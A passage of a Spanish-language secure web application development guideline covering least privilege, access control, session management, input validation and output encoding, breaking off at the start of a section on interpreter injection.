de privilegios, como por ejemplo utilizar funciones administrativas siendo un usuario anónimo o incluso un usuario autenticado. Los siguientes son objetivos de control detallados por el COBIT (Objetivos de Control para Información y Tecnologías Relacionadas) Principio de menor privilegio: Las aplicaciones muchas veces se ejecutan con privilegios excesivos, dando a los usuarios demasiados privilegios sobre recursos protegidos, dejando que se ejecute la infraestructura de la aplicación con cuentas privilegiadas. Tanto los entornos de desarrollo como de pruebas deben ser configurados para funcionar con los menores privilegios posibles, así 18

19 A-RI-P01-G02 Versión : 01 Página 19 de 44 como en producción. Las cuentas de usuario deben tener únicamente los privilegios necesarios para desarrollar tareas asignadas. Listas de control de acceso: Las aplicaciones deben funcionar correctamente con los mínimos privilegios que necesiten y deben crear listas de control de acceso que reafirmen los privilegios más ajustados posibles. Para respaldar este control se debe considerar los siguientes controles de acceso: Comenzar siempre las listas de control de acceso utilizando deny all ( denegar todo ) y seguidamente ir añadiendo sólo los privilegios y roles necesarios. Controles de acceso a red: filtros basados en el host y cortafuegos Controles de acceso al sistema de ficheros: permisos en ficheros y directorios Controles de acceso de usuarios: seguridad en las plataformas de usuarios y grupos. Controles de autorización personalizados: muchas aplicaciones contienen sus propios mecanismos personalizados y propios. Esto añade complejidad y posibles fallos. A menos que exista una razón explicita de evitar las funcionalidades ya incluidas, el código debería dejar paso al soporte propio del entorno. La forma de protegerse es escribir la menor cantidad de código posible, si el código es personalizado se debe considerar los problemas de autenticación y manejo de excepciones. Rutinas de autorización centralizadas: Un error común es la de llevar a cabo una comprobación de la autorización copiando y pegando un trozo de código, o incluso peor, reescribiéndola cada vez. Las aplicaciones bien desarrolladas centralizan las rutinas de control de acceso, sobre todo las de autorización, por lo que si se encuentra algún fallo o vulnerabilidad, pueden arreglarse todas las ocurrencias sólo modificando el código una vez, aplicándose a todas las secciones al mismo tiempo. Matriz de autorización: Las aplicaciones con el acceso controlado deben realizar la comprobación de que los usuarios tengan permiso para ver una página o utilizar una acción antes de que se muestre o suceda. Para protegerse de deben utilizar las comprobaciones de seguridad integradas del propio Framework, o colocar una llamada a una comprobación centralizada de la autorización justo en la parte superior de la vista o acción. Controlando el acceso a recursos protegidos: Muchas aplicaciones realizan una comprobación para ver si tiene el permiso de realizar una acción en particular, pero no realiza la comprobación de si se permite pedir un recurso. Para esto se debe: Utilizar el código de modelo en vez del acceso directo a recursos protegidos. 19

20 A-RI-P01-G02 Versión : 01 Página 20 de 44 Asegurar que el código del modelo comprueba que el usuario autenticado tienen acceso al recurso. Asegurar que el fragmento de código que pide el recurso tiene una correcta comprobación de errores y no asume que el acceso será concedido siempre. Protegiendo el acceso a los recursos protegidos: Algunas aplicaciones generan contenido estático, y permite al servidor Web servir dicho contenido. A menudo esto implica que un informe confidencial pueda resultar disponible para usuarios no autorizados. Para protegerse se debe: Generar el contenido estático en el momento y enviarlo directamente al navegador en vez de almacenarlo en el sistema de ficheros del servidor Web Si se quiere proteger la información sensible estática, implementar comprobaciones de autorización para prevenir el acceso por parte de usuarios anónimos. Si se tiene que almacenar en disco (no recomendado), utilizar nombres de ficheros aleatorios (como por el ejemplo el GUID) y limpiar regularmente los ficheros temporales MANEJO DE SESIONES El objetivo del manejo de sesiones es asegurar que los usuarios autenticados tengan una robusta y criptográficamente segura asociación con sus sesiones. Que se hagan cumplir los controles de autorización y se prevengan los ataques web, tales como la reutilización, falsificación e intercepción de sesiones. Mejores prácticas: Las mejores prácticas requieren utilizar un robusto y bien conocido manejador de sesiones. Los marcos de aplicaciones más populares contienen una adecuada implementación. Sin embargo, las primeras versiones frecuentemente tienen debilidades significativas. Siempre utilizar la última versión de tecnología elegida, ya que su manejador de sesiones probablemente será más robusto y usara credenciales criptográficas fuertes. Ideas erróneas: una típica percepción errónea es que se utilizan altos recursos del servidor. Esto era verdad cuando los servidores se encontraban restringidos en la cantidad de RAM, pero es falso hoy en día. Otra percepción errónea es que prefieren la facilidad de programar componentes sin estado del lado del servidor. Generación permisiva de sesiones: Muchos marcos de aplicaciones web simplemente emitirán un nuevo identificador de sesión por cada solicitante en caso que no exista uno previamente. Esto se denomina generación permisiva de sesiones, y junto con algunas formas de phishing y una asociada falta de 20

21 A-RI-P01-G02 Versión : 01 Página 21 de 44 autorización, este ataque puede ser devastador. Para protegerse de este tipo de ataques debe: Cuando inicie un nuevo objeto de sesión para un usuario, asegúrese que se encuentra fuera del sistema y ningún rol haya sido otorgado. Asegúrese que cada página protegida o acción controle el estado de autenticación y autorización antes de realizar cualquier cantidad significativa de trabajo, incluyendo la generación de contenido. Asegúrese que todas las paginas desprotegidas utilicen la menor cantidad de recursos para prevenir un ataque de negación de servicio, y no facilite la fuga de información de la parte protegida de la aplicación. Variables de sesión expuestas: Algunos marcos de aplicaciones utilizan áreas compartidas del disco del servidor web para almacenar datos de la sesión. Estas áreas no proveen protección de los datos de sesión, y pueden conducir al compromiso de la aplicación si el servidor web es compartido. Para protegerse debe asegúrese que el servidor de aplicaciones sea configurado para usar áreas de ficheros temporales por cliente / aplicación. Páginas y credenciales en formularios: Las credenciales específicas de páginas pueden ser usadas en conjunto con credenciales específicas de sesión para proveer una medida de autenticidad cuando se manejan solicitudes de clientes. Utilizándolas en conjunto con mecanismos de seguridad en la capa de transporte, las credenciales de páginas pueden ayudar en asegurar que el cliente del otro lado de la sesión es de hecho el mismo cliente que ha solicitado la última página en una determinada sesión. Para protegerse debe incorporar in campo oculto con un numero aleatorio en la página o formulario criptográficamente seguro. Falsificación de sesión/detección de fuerza bruta y/o Bloqueo de sesión: Muchos sitios web tienen prohibiciones contra la adivinación de contraseñas sin embargo un atacante puede frecuentemente intentar cientos o miles de credenciales de sesión embebidas en una URL legitima o cookie sin una sola queja del sitio web. Para protegerse de estos ataques debe: Utilizar un Proxy interceptor de HTTP para manipular el identificador de sesión. Secuestro de sesión: Cuando un atacante intercepta o crea una credencial de sesión valida en el servidor, ellos pueden personificar a otro usuario. El secuestro de sesión puede ser mitigado parcialmente utilizando controles adecuados de anti-secuestro en la aplicación. El nivel de estos controles debería ser influenciado por el riesgo de la organización o los datos del cliente. Ataques de autenticación de sesión: Uno de los errores más comunes es no verificar la autorización previamente a ejecutar una función restringida o acceder información. Para protegerse siempre debe comprobar que el usuario conectado tenga la autorización necesaria para acceder, actualizar o eliminar información. 21

22 A-RI-P01-G02 Versión : 01 Página 22 de 44 Ataques de validación de sesión: Tal como cualquier información, las variables de sesión deben ser validadas para asegurar que se encuentran en forma correcta, no contienen caracteres inesperados, y que son válidas en la tabla de sesiones activas. Siempre debe comprobar que el usuario conectado tenga la autorización necesaria para acceder, actualizar o eliminar información VALIDACIÓN DE DATOS El objetivo de la validación de datos es garantizar que la aplicación sea robusta contra todas las formas de ingreso de datos, ya sea obtenida del usuario, de la infraestructura, de entidades externas o de sistemas de base de datos. Descripción: La debilidad de seguridad más común en aplicaciones web es la falta de validación apropiada de las entradas del cliente o del entorno. Esta debilidad lleva a casi todas las principales vulnerabilidades en las aplicaciones, tales como intérprete de inyección, ataques locale/unicode, ataques al sistema de archivos y desbordamientos de memoria. Definiciones: - Revisiones de integridad: Asegurar que los datos no han sido manipulados y que siguen siendo los mismos - Reglas de negocio: Garantizar que los datos no solamente sean válidos, sino que cumplas con las reglas de negocio. - Validación: Asegurar que los datos están sólidamente escritos, con la sintaxis correcta, dentro de los límites de longitud, que contenga solo caracteres permitidos, si es numérico que tenga el signo correcto y dentro de los límites del rango Donde incluir revisiones de integridad: Las revisiones de integridad deben ser incluidas en cualquier lugar en que los datos pasen de una frontera confiable a una menos confiable, tal como, de la aplicación al navegador del usuario en un campo oculto, o hacia un método de pago ofrecido por terceros, tal como un identificador utilizado internamente a su regreso. Donde incluir validación: La validación debe ser llevada a cabo en cada capa de la aplicación. Sin embargo, la validación debería llevarse a cabo en función del servidor que está ejecutando el código. Donde incluir validación de reglas de negocio: Las reglas de negocio se conocen durante el diseño e influyen durante la implementación. Sin embargo, hay enfoques malos, buenos y mejores. Frecuentemente el mejor enfoque es el más simple en términos de código. 22

23 A-RI-P01-G02 Versión : 01 Página 23 de 44 Estrategias de validación de datos: Existen cuatro estrategias para validar datos, y deberán ser utilizadas en el siguiente orden: - Aceptar buenos conocidos: Si usted espera un código postal, valide un código postal (tipo, longitud y sintaxis) - - Rechace malos conocidos. Si usted no espera ver caracteres tales como %3f o código Javascript o similares, rechace las cadenas que los contengan - Desinfectar: Elimine o traduzca caracteres (a entidades HTML o para remover comillas) en un intento por hacer que la entrada sea segura - No validar: Esto es intrínsecamente inseguro y enérgicamente desaconsejado. El negocio debe deshacerse de todos y cada uno de los casos en los que no haya validación, la falta de esta generalmente conduce directamente a la nulidad de los demás controles de seguridad en la aplicación, servidor y red. Campos ocultos: Los campos ocultos son una manera simple de evitar almacenar un estado en el servidor. Su uso es particularmente frecuente en las formas de páginas múltiples tipo asistente. Sin embargo, su uso expone el funcionamiento interno de la aplicación, así como datos para su fácil manipulación, reenvió y ataques de validación. En general, solo utilice campos ocultos para preservar la secuencia de las páginas. Cifrar URL: Los datos enviados por medio del URL, no se aconseja enérgicamente, pueden ser cifrados y descifrados. Esto reduce la posibilidad de ataques del tipo cross-site-scripting. En general, nunca envíe datos por medio de peticiones GET excepto para propósitos de navegación. Cifrar HTML: Los datos enviados al usuario deben ser seguros y él debe poder verlos. Esto se puede lograr mediante el uso de <bean:write > y similares. No utilice <%=var%> solo en el caso de que se provea un argumento a <bean:write > o similares. El cifrado de HTML traduce un rango de caracteres en entidades HTML. Por ejemplo, > se convierte en >. Esto se seguirá desplegando como > en el navegador del usuario y es una alternativa segura INTERPRETE DE INYECCIÓN Su objetivo es garantizar que las aplicaciones sean seguras de ataques de manipulación de parámetros contra intérpretes comunes. Inyección de agente de usuario: La inyección del agente de usuario es un problema bastante relevante en las aplicaciones web. No es posible controlar el escritorio del usuario, pero es parte de la ecuación de confianza. Hay varios retos que se pueden enviar para confiar en la información de entrada y envío de datos de vuelta al usuario: El navegador puede estar comprometido con software espía o Troyanos. 23